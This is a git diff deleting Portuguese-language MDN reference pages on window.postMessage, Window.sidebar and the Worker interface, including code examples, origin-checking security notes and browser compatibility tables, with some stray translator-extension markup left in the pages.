-<p><strong>Always specify an exact target origin, not <code>*</code>, when you use <code>postMessage</code> to send data to other windows.</strong> A malicious site can change the location of the window without your knowledge, and therefore it can intercept the data sent using <code>postMessage</code>.</p>
-
-<h2 id="Exemplo">Exemplo</h2>
-
-<pre class="brush: js">/*
- * In window A's scripts, with A being on &lt;http://example.com:8080&gt;:
- */
-
-var popup = window.open(...popup details...);
-
-// When the popup has fully loaded, if not blocked by a popup blocker:
-
-// This does nothing, assuming the window hasn't changed its location.
-popup.postMessage("The user is 'bob' and the password is 'secret'",
- "https://secure.example.net");
-
-// This will successfully queue a message to be sent to the popup, assuming
-// the window hasn't changed its location.
-popup.postMessage("hello there!", "http://example.com");
-
-function receiveMessage(event)
-{
- // Do we trust the sender of this message? (might be
- // different from what we originally opened, for example).
- if (event.origin !== "http://example.com")
- return;
-
- // event.source is popup
- // event.data is "hi there yourself! the secret response is: rheeeeet!"
-}
-window.addEventListener("message", receiveMessage, false);
-</pre>
-
-<pre class="brush: js">/*
- * In the popup's scripts, running on &lt;http://example.com&gt;:
- */
-
-// Called sometime after postMessage is called
-function receiveMessage(event)
-{
- // Do we trust the sender of this message?
- if (event.origin !== "http://example.com:8080")
- return;
-
- // event.source is window.opener
- // event.data is "hello there!"
-
- // Assuming you've verified the origin of the received message (which
- // you must do in any case), a convenient idiom for replying to a
- // message is to call postMessage on event.source and provide
- // event.origin as the targetOrigin.
- event.source.postMessage("hi there yourself! the secret response " +
- "is: rheeeeet!",
- event.origin);
-}
-
-window.addEventListener("message", receiveMessage, false);
-</pre>
-
-<h3 id="Notas">Notas</h3>
-
-<p>Any window may access this method on any other window, at any time, regardless of the location of the document in the window, to send it a message. Consequently, any event listener used to receive messages <strong>must</strong> first check the identity of the sender of the message, using the <code>origin</code> and possibly <code>source</code> properties. This cannot be overstated: <strong>Failure to check the <code>origin</code> and possibly <code>source</code> properties enables cross-site scripting attacks.</strong></p>
-
-<p>As with any asynchronously-dispatched script (timeouts, user-generated events), it is not possible for the caller of <code>postMessage</code> to detect when an event handler listening for events sent by <code>postMessage</code> throws an exception.</p>
-
-<p>The value of the <code>origin</code> property of the dispatched event is not affected by the current value of <code>document.domain</code> in the calling window.</p>
-
-<p>For IDN host names only, the value of the <code>origin</code> property is not consistently Unicode or punycode; for greatest compatibility check for both the IDN and punycode values when using this property if you expect messages from IDN sites. This value will eventually be consistently IDN, but for now you should handle both IDN and punycode forms.</p>
-
-<p>The value of the <code>origin</code> property when the sending window contains a <code>javascript:</code> or <code>data:</code> URL is the origin of the script that loaded the URL.</p>
-
-<h3 id="Utilizar_window.postMessage_nas_extensões_Non-standard_inline">Utilizar window.postMessage nas extensões {{Non-standard_inline}}</h3>
-
-<p><code>window.postMessage</code> is available to JavaScript running in chrome code (e.g., in extensions and privileged code), but the <code>source</code> property of the dispatched event is always <code>null</code> as a security restriction. (The other properties have their expected values.)</p>
-
-<p>It is not possible for content or web context scripts to specify a <code>targetOrigin</code> to communicate directly with an extension (either the background script or a contet script).  Web or content scripts <em>can</em> use <code>window.postMessage</code> with a <code>targetOrigin</code> of <code>"*"</code> to broadcast to every listener, but this is discouraged, since an extension cannot be certain the origin of such messages, and other listeners (including those you do not control) can listen in.</p>
-
-<p>Content scripts should use <a href="/en-US/Add-ons/WebExtensions/API/runtime">runtime.sendMessage</a> to communicate with the background script.  Web context scripts can use custom events to communicate with content scripts (with randomly generated event names, if needed, to prevent snooping from the guest page).</p>
-
-<p>Lastly, posting a message to a page at a <code>file:</code> URL currently requires that the <code>targetOrigin</code> argument be <code>"*"</code>. <code>file://</code> cannot be used as a security restriction; this restriction may be modified in the future.</p>
-
-<h2 id="Especificacações">Especificacações</h2>
-
-<table class="standard-table">
- <tbody>
- <tr>
- <th><strong>Especificação</strong></th>
- <th><strong>Estado</strong></th>
- <th><strong>Comentário</strong></th>
- </tr>
- <tr>
- <td>{{SpecName('HTML WHATWG', "web-messaging.html#dom-window-postmessage", "postMessage()")}}</td>
- <td>{{Spec2('HTML WHATWG')}}</td>
- <td> </td>
- </tr>
- </tbody>
-</table>
-
-<h2 id="Browser_compatibility">Browser compatibility</h2>
-
-<p>{{CompatibilityTable}}</p>
-
-<div id="compat-desktop">
-<table class="compat-table">
- <tbody>
- <tr>
- <th><strong>Funcionalidade</strong></th>
- <th><strong>Chrome</strong></th>
- <th><strong>Edge</strong></th>
- <th><strong>Firefox (Gecko)</strong></th>
- <th><strong>Internet Explorer</strong></th>
- <th><strong>Opera</strong></th>
- <th><strong>Safari (WebKit)</strong></th>
- </tr>
- <tr>
- <td>Suporte básico</td>
- <td>1.0</td>
- <td>{{CompatVersionUnknown}}</td>
- <td>{{CompatGeckoDesktop(6.0)}}<sup>[1]</sup><br>
- {{CompatGeckoDesktop(8.0)}}<sup>[2]</sup></td>
- <td>8.0<sup>[3]</sup><br>
- 10.0<sup>[4]</sup></td>
- <td>9.5</td>
- <td>4.0</td>
- </tr>
- <tr>
- <td><code>transfer</code> argument</td>
- <td>{{CompatUnknown}}</td>
- <td>{{CompatVersionUnknown}}</td>
- <td>{{CompatGeckoDesktop(20.0)}}</td>
- <td>{{CompatVersionUnknown}}</td>
- <td>{{CompatUnknown}}</td>
- <td>{{CompatUnknown}}</td>
- </tr>
- </tbody>
-</table>
-</div>
-
-<div id="compat-mobile">
-<table class="compat-table">
- <tbody>
- <tr>
- <th><strong>Funcionalidade</strong></th>
- <th><strong>Android</strong></th>
- <th><strong>Edge</strong></th>
- <th><strong>Firefox Mobile (Gecko)</strong></th>
- <th><strong>IE Phone</strong></th>
- <th><strong>Opera Mobile</strong></th>
- <th><strong>Safari Mobile</strong></th>
- </tr>
- <tr>
- <td>Basic support</td>
- <td>{{CompatVersionUnknown}}</td>
- <td>{{CompatVersionUnknown}}</td>
- <td>{{CompatGeckoDesktop(6.0)}}<sup>[1]</sup><br>
- {{CompatGeckoDesktop(8.0)}}<sup>[2]</sup></td>
- <td>{{CompatVersionUnknown}}</td>
- <td>{{CompatVersionUnknown}}</td>
- <td>{{CompatVersionUnknown}}[5]</td>
- </tr>
- <tr>
- <td><code>transfer</code> argument</td>
- <td>{{CompatUnknown}}</td>
- <td>{{CompatUnknown}}</td>
- <td>{{CompatGeckoMobile(20.0)}}</td>
- <td>{{CompatNo}}</td>
- <td>{{CompatUnknown}}</td>
- <td>{{CompatUnknown}}</td>
- </tr>
- </tbody>
-</table>
-</div>
-
-<p>[1] Prior to Gecko 6.0 {{geckoRelease("6.0")}}, the <code>message</code> parameter must be a string. Starting in Gecko 6.0 {{geckoRelease("6.0")}}, the <code>message</code> parameter is serialized using <a href="/en-US/docs/DOM/The_structured_clone_algorithm">the structured clone algorithm</a>. This means you can pass a broad variety of data objects safely to the destination window without having to serialize them yourself.</p>
-
-<p>[2] Gecko 8.0 introduced support for sending {{domxref("File")}} and {{domxref("FileList")}} objects between windows. This is only allowed if the recipient's principal is contained within the sender's principal for security reasons.</p>
-
-<p>[3] IE8 and IE9 only support it for {{HTMLElement("frame")}} and {{HTMLElement("iframe")}}.</p>
-
-<p>[4] IE10 has important limitations: see this <a href="http://stackoverflow.com/questions/16226924/is-cross-origin-postmessage-broken-in-ie10">article</a> for details.</p>
-
-<p>[5] Due to security reasons, to work properly on Safari, use construction with document.getElementId('your-frame').contentWindow</p>
-
-<h2 id="Consulte_também">Consulte também</h2>
-
-<ul>
- <li>{{domxref("Document.domain")}}</li>
- <li>{{domxref("CustomEvent")}}</li>
- <li><a href="/pt-PT/docs/Archive/Add-ons/Interaction_between_privileged_and_non-privileged_pages">Interação entre páginas privilegiadas e não privilegiadas</a></li>
-</ul>
-
-<div id="SL_balloon_obj" style="display: block;">
-<div class="SL_ImTranslatorLogo" id="SL_button" style="background: rgba(0, 0, 0, 0) repeat scroll 0% 0%; opacity: 0; display: block; left: -8px; top: -25px; transition: visibility 2s ease 0s, opacity 2s linear 0s;"> </div>
-
-<div id="SL_shadow_translation_result2" class="hidden"> </div>
-
-<div id="SL_shadow_translator" class="hidden">
-<div id="SL_planshet">
-<div id="SL_arrow_up" style="background: rgba(0, 0, 0, 0) repeat scroll 0% 0%;"> </div>
-
-<div id="SL_Bproviders">
-<div class="SL_BL_LABLE_ON" id="SL_P0" title="Google">G</div>
-
-<div class="SL_BL_LABLE_ON" id="SL_P1" title="Microsoft">M</div>
-
-<div class="SL_BL_LABLE_ON" id="SL_P2" title="Translator">T</div>
-</div>
-
-<div id="SL_alert_bbl" class="hidden">
-<div id="SLHKclose" style="background: rgba(0, 0, 0, 0) repeat scroll 0% 0%;"> </div>
-
-<div id="SL_alert_cont"> </div>
-</div>
-
-<div id="SL_TB">
-<table id="SL_tables">
- <tbody>
- <tr>
- <td class="SL_td"><input></td>
- <td class="SL_td"><select><option value="auto">Detectar idioma</option><option value="af">Africâner</option><option value="sq">Albanês</option><option value="de">Alemão</option><option value="ar">Arabe</option><option value="hy">Armênio</option><option value="az">Azerbaijano</option><option value="eu">Basco</option><option value="bn">Bengali</option><option value="be">Bielo-russo</option><option value="my">Birmanês</option><option value="bs">Bósnio</option><option value="bg">Búlgaro</option><option value="ca">Catalão</option><option value="kk">Cazaque</option><option value="ceb">Cebuano</option><option value="ny">Chichewa</option><option value="zh-CN">Chinês (Simp)</option><option value="zh-TW">Chinês (Trad)</option><option value="si">Cingalês</option><option value="ko">Coreano</option><option value="ht">Crioulo haitiano</option><option value="hr">Croata</option><option value="da">Dinamarquês</option><option value="sk">Eslovaco</option><option value="sl">Esloveno</option><option value="es">Espanhol</option><option value="eo">Esperanto</option><option value="et">Estoniano</option><option value="fi">Finlandês</option><option value="fr">Francês</option><option value="gl">Galego</option><option value="cy">Galês</option><option value="ka">Georgiano</option><option value="el">Grego</option><option value="gu">Gujarati</option><option value="ha">Hauça</option><option value="iw">Hebraico</option><option value="hi">Hindi</option><option value="hmn">Hmong</option><option value="nl">Holandês</option><option value="hu">Húngaro</option><option value="ig">Igbo</option><option value="id">Indonésio</option><option value="en">Inglês</option><option value="yo">Ioruba</option><option value="ga">Irlandês</option><option value="is">Islandês</option><option value="it">Italiano</option><option value="ja">Japonês</option><option value="jw">Javanês</option><option value="kn">Kannada</option><option value="km">Khmer</option><option value="lo">Laosiano</option><option value="la">Latim</option><option value="lv">Letão</option><option value="lt">Lituano</option><option value="mk">Macedônico</option><option value="ml">Malaiala</option><option value="ms">Malaio</option><option value="mg">Malgaxe</option><option value="mt">Maltês</option><option value="mi">Maori</option><option value="mr">Marathi</option><option value="mn">Mongol</option><option value="ne">Nepalês</option><option value="no">Norueguês</option><option value="fa">Persa</option><option value="pl">Polonês</option><option value="pt">Português</option><option value="pa">Punjabi</option><option value="ro">Romeno</option><option value="ru">Russo</option><option value="sr">Sérvio</option><option value="st">Sesotho</option><option value="so">Somália</option><option value="sw">Suaíli</option><option value="su">Sudanês</option><option value="sv">Sueco</option><option value="tg">Tadjique</option><option value="tl">Tagalo</option><option value="th">Tailandês</option><option value="ta">Tâmil</option><option value="cs">Tcheco</option><option value="te">Telugo</option><option value="tr">Turco</option><option value="uk">Ucraniano</option><option value="ur">Urdu</option><option value="uz">Uzbeque</option><option value="vi">Vietnamita</option><option value="yi">Yiddish</option><option value="zu">Zulu</option></select></td>
- <td class="SL_td">
- <div id="SL_switch_b" style="background: rgba(0, 0, 0, 0) repeat scroll 0% 0%;" title="Alternar Idiomas"> </div>
- </td>
- <td class="SL_td"><select><option value="af">Africâner</option><option value="sq">Albanês</option><option value="de">Alemão</option><option value="ar">Arabe</option><option value="hy">Armênio</option><option value="az">Azerbaijano</option><option value="eu">Basco</option><option value="bn">Bengali</option><option value="be">Bielo-russo</option><option value="my">Birmanês</option><option value="bs">Bósnio</option><option value="bg">Búlgaro</option><option value="ca">Catalão</option><option value="kk">Cazaque</option><option value="ceb">Cebuano</option><option value="ny">Chichewa</option><option value="zh-CN">Chinês (Simp)</option><option value="zh-TW">Chinês (Trad)</option><option value="si">Cingalês</option><option value="ko">Coreano</option><option value="ht">Crioulo haitiano</option><option value="hr">Croata</option><option value="da">Dinamarquês</option><option value="sk">Eslovaco</option><option value="sl">Esloveno</option><option value="es">Espanhol</option><option value="eo">Esperanto</option><option value="et">Estoniano</option><option value="fi">Finlandês</option><option value="fr">Francês</option><option value="gl">Galego</option><option value="cy">Galês</option><option value="ka">Georgiano</option><option value="el">Grego</option><option value="gu">Gujarati</option><option value="ha">Hauça</option><option value="iw">Hebraico</option><option value="hi">Hindi</option><option value="hmn">Hmong</option><option value="nl">Holandês</option><option value="hu">Húngaro</option><option value="ig">Igbo</option><option value="id">Indonésio</option><option selected value="en">Inglês</option><option value="yo">Ioruba</option><option value="ga">Irlandês</option><option value="is">Islandês</option><option value="it">Italiano</option><option value="ja">Japonês</option><option value="jw">Javanês</option><option value="kn">Kannada</option><option value="km">Khmer</option><option value="lo">Laosiano</option><option value="la">Latim</option><option value="lv">Letão</option><option value="lt">Lituano</option><option value="mk">Macedônico</option><option value="ml">Malaiala</option><option value="ms">Malaio</option><option value="mg">Malgaxe</option><option value="mt">Maltês</option><option value="mi">Maori</option><option value="mr">Marathi</option><option value="mn">Mongol</option><option value="ne">Nepalês</option><option value="no">Norueguês</option><option value="fa">Persa</option><option value="pl">Polonês</option><option value="pt">Português</option><option value="pa">Punjabi</option><option value="ro">Romeno</option><option value="ru">Russo</option><option value="sr">Sérvio</option><option value="st">Sesotho</option><option value="so">Somália</option><option value="sw">Suaíli</option><option value="su">Sudanês</option><option value="sv">Sueco</option><option value="tg">Tadjique</option><option value="tl">Tagalo</option><option value="th">Tailandês</option><option value="ta">Tâmil</option><option value="cs">Tcheco</option><option value="te">Telugo</option><option value="tr">Turco</option><option value="uk">Ucraniano</option><option value="ur">Urdu</option><option value="uz">Uzbeque</option><option value="vi">Vietnamita</option><option value="yi">Yiddish</option><option value="zu">Zulu</option></select></td>
- <td class="SL_td">
- <div id="SL_TTS_voice" style="background: rgba(0, 0, 0, 0) repeat scroll 0% 0%;" title="Ouça"> </div>
- </td>
- <td class="SL_td">
- <div class="SL_copy" id="SL_copy" style="background: rgba(0, 0, 0, 0) repeat scroll 0% 0%;" title="Copiar"> </div>
- </td>
- <td class="SL_td">
- <div id="SL_bbl_font_patch"> </div>
-
- <div class="SL_bbl_font" id="SL_bbl_font" style="background: rgba(0, 0, 0, 0) repeat scroll 0% 0%;" title="Tamanho da fonte"> </div>
- </td>
- <td class="SL_td">
- <div id="SL_bbl_help" style="background: rgba(0, 0, 0, 0) repeat scroll 0% 0%;" title="Ajuda"> </div>
- </td>
- <td class="SL_td">
- <div class="SL_pin_off" id="SL_pin" style="background: rgba(0, 0, 0, 0) repeat scroll 0% 0%;" title="Fixar a janela de pop-up"> </div>
- </td>
- </tr>
- </tbody>
-</table>
-</div>
-</div>
-
-<div id="SL_shadow_translation_result" style=""> </div>
-
-<div class="SL_loading" id="SL_loading" style="background: rgba(0, 0, 0, 0) repeat scroll 0% 0%;"> </div>
-
-<div id="SL_player2"> </div>
-
-<div id="SL_alert100">A função de fala é limitada a 200 caracteres</div>
-
-<div id="SL_Balloon_options" style="background: rgb(255, 255, 255) repeat scroll 0% 0%;">
-<div id="SL_arrow_down" style="background: rgba(0, 0, 0, 0) repeat scroll 0% 0%;"> </div>
-
-<table id="SL_tbl_opt" style="width: 100%;">
- <tbody>
- <tr>
- <td><input></td>
- <td>
- <div id="SL_BBL_IMG" style="background: rgba(0, 0, 0, 0) repeat scroll 0% 0%;" title="Mostrar o botão do ImTranslator 3 segundos"> </div>
- </td>
- <td><a class="SL_options" title="Mostrar opções">Opções</a> : <a class="SL_options" title="Histórico de tradução">Histórico</a> : <a class="SL_options" title="Comentários">Comentários</a> : <a class="SL_options" href="https://www.paypal.com/cgi-bin/webscr?cmd=_s-xclick&amp;hosted_button_id=GD9D8CPW8HFA2" title="Faça sua contribuição">Donate</a></td>
- <td><span id="SL_Balloon_Close" title="Encerrar">Encerrar</span></td>
- </tr>
- </tbody>
-</table>
-</div>
-</div>
-</div>
diff --git a/files/pt-pt/web/api/window/sidebar/index.html b/files/pt-pt/web/api/window/sidebar/index.html
deleted file mode 100644
index 281555281d..0000000000
--- a/files/pt-pt/web/api/window/sidebar/index.html
+++ /dev/null
@@ -1,61 +0,0 @@
----
-title: Window.sidebar
-slug: Web/API/Window/sidebar
-tags:
- - DOM
- - Janela
- - Não Padrão
- - Propriedade
- - Referencia
-translation_of: Web/API/Window/sidebar
-original_slug: Web/API/Window/barra_lateral
----
-<div>{{APIRef}} {{Non-standard_header}}</div>
-
-<p>Devolve um objeto da barra lateral, que contém vários métodos para registar extras com o navegador.</p>
-
-<h2 id="Notes" name="Notes">Notas</h2>
-
-<p>O objeto da barra lateral devolvido tem os seguintes métodos:</p>
-
-<table class="fullwidth-table">
- <tbody>
- <tr>
- <th>Método</th>
- <th>Descrição (SeaMonkey)</th>
- <th>Descrição (Firefox)</th>
- </tr>
- <tr>
- <td><code>addPanel(<var>title</var>, <var>contentURL</var>, "")</code></td>
- <td>Adiciona um painel de barra lateral.</td>
- <td rowspan="2">Obsoleto desde o Firefox 23 (apresentado apenas no SeaMonkey).<br>
- Em vez disso, os utilizadores finais podem utilizar a opção "carregar este marcador na barra lateral". Consulte também <a href="/pt-PT/docs/Mozilla/Criacao_barra_lateral_Firefox">Criação de uma barra lateral do Firefox.</a></td>
- </tr>
- <tr>
- <td><code>addPersistentPanel(<var>title</var>, <var>contentURL</var>, "")</code></td>
- <td>Adiciona um painel de barra lateral, que consegue funcionar em segundo plano.</td>
- </tr>
- <tr>
- <td><code>AddSearchProvider(<em>descriptionURL)</em></code></td>
- <td colspan="2">Installs a search provider (OpenSearch). <a href="/en-US/docs/Web/API/Window/sidebar/Adding_search_engines_from_Web_pages#Installing_OpenSearch_plugins" title="Adding_search_engines_from_web_pages">Adding OpenSearch search engines </a>contains more details. Added in Firefox 2.</td>
- </tr>
- <tr>
- <td><code>addSearchEngine(<var>engineURL</var>, <var>iconURL</var>, <var>suggestedTitle</var>, <var>suggestedCategory</var>)</code> {{Obsolete_inline(44)}}</td>
- <td colspan="2">
- <p>Installs a search engine (Sherlock). <a href="/en-US/docs/Web/API/Window/sidebar/Adding_search_engines_from_Web_pages#Installing_Sherlock_plugins" title="Adding_search_engines_from_web_pages">Adding Sherlock search engines </a>contains more details.</p>
-
- <div class="note">
- <p><strong>Note</strong>: This was made obsolete in Firefox 44, and has been removed completely in Firefox 59. You should use <code>AddSearchProvider</code> instead.</p>
- </div>
- </td>
- </tr>
- <tr>
- <td><code>IsSearchProviderInstalled(<em>descriptionURL)</em></code></td>
- <td colspan="2">Indicates if a specific search provider (OpenSearch) is installed.</td>
- </tr>
- </tbody>
-</table>
-
-<h2 id="Specification" name="Specification">Especificação</h2>
-
-<p>Específico da Mozilla. Não faz parte de qualquer padrão.</p>
diff --git a/files/pt-pt/web/api/worker/index.html b/files/pt-pt/web/api/worker/index.html
deleted file mode 100644
index ee53553220..0000000000
--- a/files/pt-pt/web/api/worker/index.html
+++ /dev/null
@@ -1,270 +0,0 @@
----
-title: Worker
-slug: Web/API/Worker
-translation_of: Web/API/Worker
----
-<p>{{APIRef("Web Workers API")}}</p>
-
-<p>A interface do <em><strong><code>Worker</code></strong> </em>da <a href="/en-US/docs/Web/API/Web_Workers_API">API de Workers da Web </a>representa uma tarefa em segundo palno que pode ser criada facilmente e pode enviar mensagens de volta para o seu criador. Criar um <em>worker </em>é tão simples como chamar o criador de <code>Worker()</code> e especificar um script para ser executado na sequência do <em>worker</em>.</p>
-
-<p>Os <em>workers</em> podem, por sua vez, gerar novos <em>workers</em> enquanto esses <em>workers</em> estiverem alojados dentro da mesma <a href="/en-US/docs/Web/Security/Same-origin_policy">origem</a> como a página original (Nota: os <em>workers</em> integrados <a href="https://groups.google.com/a/chromium.org/forum/#!topic/blink-dev/5R3B4RN4GHU">não estão atualmente implementados no Blink</a>).  Em adição os <em>workers</em> poderão utilizar <a class="internal" href="/en/DOM/XMLHttpRequest" title="En/XMLHttpRequest"><code>XMLHttpRequest</code></a> para I/O rede, com a estipulação que a <code>responseXML</code> e os atributos <code>channel</code> no <code>XMLHttpRequest</code> retornam sempre <code>null</code>.</p>
-
-<p><a href="/En/DOM/Worker/Functions_available_to_workers" title="En/DOM/Worker/Functions available to workers">Nem todas as interfaces e funções estão disposníveis</a> para o <em>script</em> associado com um <em><code>Worker</code></em>.</p>
-
-<p>No Firefox, se quiser utilziar os <em>workers</em> nas extensões e pretender ter acesso a <a href="/en/js-ctypes" title="en/js-ctypes">js-ctypes</a>, então deverá utilizar o objeto {{ domxref("ChromeWorker") }}.</p>
-
-<h2 id="Criadores">Criadores</h2>
-
-<dl>
- <dt>{{domxref("Worker.Worker", "Worker()")}}</dt>
- <dd>Creates a dedicated web worker that executes the script at the specified URL. Workers can also be constructed using <a href="/en-US/docs/Web/API/Blob">Blobs</a>.</dd>
-</dl>
-
-<h2 id="Propriedades">Propriedades</h2>
-
-<p><em>Inherits properties from its parent, {{domxref("EventTarget")}}, and implements properties from {{domxref("AbstractWorker")}}.</em></p>
-
-<h3 id="Manipuladores_de_evento">Manipuladores de evento</h3>
-
-<dl>
- <dt>{{domxref("AbstractWorker.onerror")}}</dt>
- <dd>An {{ domxref("EventListener") }} called whenever an {{domxref("ErrorEvent")}} of type <code>error</code> bubbles through to the worker. This is inherited from {{domxref("AbstractWorker")}}.</dd>
- <dt>{{domxref("Worker.onmessage")}}</dt>
- <dd>An {{ domxref("EventListener") }} called whenever a {{domxref("MessageEvent")}} of type <code>message</code> bubbles through the worker — i.e. when a message is sent to the parent document from the worker via {{domxref("DedicatedWorkerGlobalScope.postMessage")}}. The message is stored in the event's {{domxref("MessageEvent.data", "data")}} property.</dd>
- <dt>{{domxref("Worker.onmessageerror")}}</dt>
- <dd>Is an {{domxref("EventHandler")}} representing the code to be called when the {{event("messageerror")}} event is raised.</dd>
-</dl>
-
-<dl>
-</dl>
-
-<h2 id="Métodos">Métodos</h2>
-
-<p><em>Inherits methods from its parent, {{domxref("EventTarget")}}, and implements methods from {{domxref("AbstractWorker")}}.</em></p>
-
-<dl>
- <dt>{{domxref("Worker.postMessage()")}}</dt>
- <dd>Sends a message — which can consist of <code>any</code> JavaScript object — to the worker's inner scope.</dd>
- <dt>{{domxref("Worker.terminate()")}}</dt>
- <dd>Immediately terminates the worker. This does not offer the worker an opportunity to finish its operations; it is simply stopped at once. ServiceWorker instances do not support this method.</dd>
-</dl>
-
-<h2 id="Exemplo">Exemplo</h2>
-
-<p>The following code snippet shows creation of a {{domxref("Worker")}} object using the {{domxref("Worker.Worker", "Worker()")}} constructor and usage of the object:</p>
-
-<pre class="brush: js">var myWorker = new Worker('worker.js');
-var first = document.querySelector('#number1');
-var second = document.querySelector('#number2');
-
-first.onchange = function() {
- myWorker.postMessage([first.value,second.value]);
- console.log('Message posted to worker');
-}</pre>
-
-<p>For a full example, see our<a class="external external-icon" href="https://github.com/mdn/simple-web-worker">Basic dedicated worker example</a> (<a class="external external-icon" href="http://mdn.github.io/simple-web-worker/">run dedicated worker</a>).</p>
-
-<h2 id="Especificações">Especificações</h2>
-
-<table class="standard-table">
- <tbody>
- <tr>
- <th scope="col">Especificação</th>
- <th scope="col">Estado</th>
- <th scope="col">Comentário</th>
- </tr>
- <tr>
- <td>{{SpecName('HTML WHATWG', "#worker", "Worker")}}</td>
- <td>{{Spec2('HTML WHATWG')}}</td>
- <td> </td>
- </tr>
- </tbody>
-</table>
-
-<h2 id="Compatibilidade_de_navegador">Compatibilidade de navegador</h2>
-
-<p>Support varies for different types of workers. See each worker type's page for specifics.</p>
-
-<div>{{CompatibilityTable}}</div>
-
-<div id="compat-desktop">
-<table class="compat-table">
- <tbody>
- <tr>
- <th>Funcionalidade</th>
- <th>Chrome</th>
- <th>Edge</th>
- <th>Firefox (Gecko)</th>
- <th>Internet Explorer</th>
- <th>Opera</th>
- <th>Safari (WebKit)</th>
- </tr>
- <tr>
- <td>Basic support</td>
- <td>4</td>
- <td>{{CompatVersionUnknown}}</td>
- <td>3.5</td>
- <td>10.0</td>
- <td>10.6</td>
- <td>4</td>
- </tr>
- <tr>
- <td>Constructor <code>name</code> option</td>
- <td>{{CompatVersionUnknown}}</td>
- <td>{{CompatUnknown}}</td>
- <td>{{CompatGeckoDesktop(55)}}</td>
- <td>{{CompatUnknown}}</td>
- <td>{{CompatUnknown}}</td>
- <td>{{CompatUnknown}}</td>
- </tr>
- <tr>
- <td><code>onmessageerror</code></td>
- <td>60</td>
- <td>{{CompatUnknown}}</td>
- <td>{{CompatGeckoDesktop(57)}}</td>
- <td>{{CompatNo}}</td>
- <td>{{CompatUnknown}}</td>
- <td>{{CompatUnknown}}</td>
- </tr>
- </tbody>
-</table>
-</div>
-
-<div id="compat-mobile">
-<table class="compat-table">
- <tbody>
- <tr>
- <th>Feature</th>
- <th>Android</th>
- <th>Edge</th>
- <th>Firefox Mobile (Gecko)</th>
- <th>IE Phone</th>
- <th>Opera Mobile</th>
- <th>Safari Mobile</th>
- <th>Chrome for Android</th>
- </tr>
- <tr>
- <td>Basic support</td>
- <td>4.4</td>
- <td>{{CompatVersionUnknown}}</td>
- <td>3.5</td>
- <td>10.0</td>
- <td>11.5</td>
- <td>5.1</td>
- <td>{{CompatUnknown}}</td>
- </tr>
- <tr>
- <td>Constructor <code>name</code> option</td>
- <td>{{CompatUnknown}}</td>
- <td>{{CompatUnknown}}</td>
- <td>{{CompatGeckoMobile(55)}}</td>
- <td>{{CompatUnknown}}</td>
- <td>{{CompatUnknown}}</td>
- <td>{{CompatUnknown}}</td>
- <td>{{CompatVersionUnknown}}</td>
- </tr>
- <tr>
- <td><code>onmessageerror</code></td>
- <td>60</td>
- <td>{{CompatUnknown}}</td>
- <td>{{CompatGeckoMobile(57)}}</td>
- <td>{{CompatNo}}</td>
- <td>{{CompatUnknown}}</td>
- <td>{{CompatUnknown}}</td>
- <td>{{CompatUnknown}}</td>
- </tr>
- </tbody>
-</table>
-</div>
-
-<h3 id="Cross-origin_worker_error_behaviour">Cross-origin worker error behaviour</h3>
-
-<p>In earlier browser versions, trying to load a cross-origin worker script threw a <code>SecurityError</code>; in newer browsers an {{event("error")}} event is thrown instead due to a spec change. Find out more information on how to deal with this in <a href="https://www.fxsitecompat.com/en-CA/docs/2016/loading-cross-origin-worker-now-fires-error-event-instead-of-throwing-worker-in-sandboxed-iframe-no-longer-allowed/">Loading cross-origin worker now fires error event instead of throwing; worker in sandboxed iframe no longer allowed</a>.</p>
-
-<h2 id="Consultar_também">Consultar também</h2>
-
-<ul>
- <li><a class="internal" href="/pt-PT/docs/Web/API/Web_Workers_API/Utilizacao_de_web_workers" title="en/Using DOM workers">Utilziar <em>workers</em> da Web</a></li>
- <li><a href="/pt-PT/docs/Web/API/Web_Workers_API/Functions_and_classes_available_to_workers" title="https://developer.mozilla.org/En/DOM/Worker/Functions_available_to_workers">Funções disponíveis para os <em>workers</em></a></li>
- <li>Outros tipos de <em>workers</em>: {{ domxref("SharedWorker") }} e <a href="/pt-PT/docs/Web/API/Service_Worker_API">ServiceWorker</a>.</li>
- <li><em>Workers </em>não padrão, específicos Gecko: {{ domxref("ChromeWorker") }}, utilizados pelas extensões.</li>
-</ul>
-
-<div id="SL_balloon_obj" style="display: block;">
-<div class="SL_ImTranslatorLogo" id="SL_button" style="background: rgba(0, 0, 0, 0) repeat scroll 0% 0%; opacity: 0; display: block; left: -8px; top: -25px; transition: visibility 2s ease 0s, opacity 2s linear 0s;"> </div>
-
-<div id="SL_shadow_translation_result2" class="hidden"> </div>
-
-<div id="SL_shadow_translator" class="hidden">
-<div id="SL_planshet">
-<div id="SL_arrow_up" style="background: rgba(0, 0, 0, 0) repeat scroll 0% 0%;"> </div>
-
-<div id="SL_Bproviders">
-<div class="SL_BL_LABLE_ON" id="SL_P0" title="Google">G</div>
-
-<div class="SL_BL_LABLE_ON" id="SL_P1" title="Microsoft">M</div>
-
-<div class="SL_BL_LABLE_ON" id="SL_P2" title="Translator">T</div>
-</div>
-
-<div id="SL_alert_bbl" class="hidden">
-<div id="SLHKclose" style="background: rgba(0, 0, 0, 0) repeat scroll 0% 0%;"> </div>
-
-<div id="SL_alert_cont"> </div>
-</div>
-
-<div id="SL_TB">
-<table id="SL_tables">
- <tbody><tr>
- <td class="SL_td"><input></td>
- <td class="SL_td"><select><option value="auto">Detectar idioma</option><option value="af">Africâner</option><option value="sq">Albanês</option><option value="de">Alemão</option><option value="ar">Arabe</option><option value="hy">Armênio</option><option value="az">Azerbaijano</option><option value="eu">Basco</option><option value="bn">Bengali</option><option value="be">Bielo-russo</option><option value="my">Birmanês</option><option value="bs">Bósnio</option><option value="bg">Búlgaro</option><option value="ca">Catalão</option><option value="kk">Cazaque</option><option value="ceb">Cebuano</option><option value="ny">Chichewa</option><option value="zh-CN">Chinês (Simp)</option><option value="zh-TW">Chinês (Trad)</option><option value="si">Cingalês</option><option value="ko">Coreano</option><option value="ht">Crioulo haitiano</option><option value="hr">Croata</option><option value="da">Dinamarquês</option><option value="sk">Eslovaco</option><option value="sl">Esloveno</option><option value="es">Espanhol</option><option value="eo">Esperanto</option><option value="et">Estoniano</option><option value="fi">Finlandês</option><option value="fr">Francês</option><option value="gl">Galego</option><option value="cy">Galês</option><option value="ka">Georgiano</option><option value="el">Grego</option><option value="gu">Gujarati</option><option value="ha">Hauça</option><option value="iw">Hebraico</option><option value="hi">Hindi</option><option value="hmn">Hmong</option><option value="nl">Holandês</option><option value="hu">Húngaro</option><option value="ig">Igbo</option><option value="id">Indonésio</option><option value="en">Inglês</option><option value="yo">Ioruba</option><option value="ga">Irlandês</option><option value="is">Islandês</option><option value="it">Italiano</option><option value="ja">Japonês</option><option value="jw">Javanês</option><option 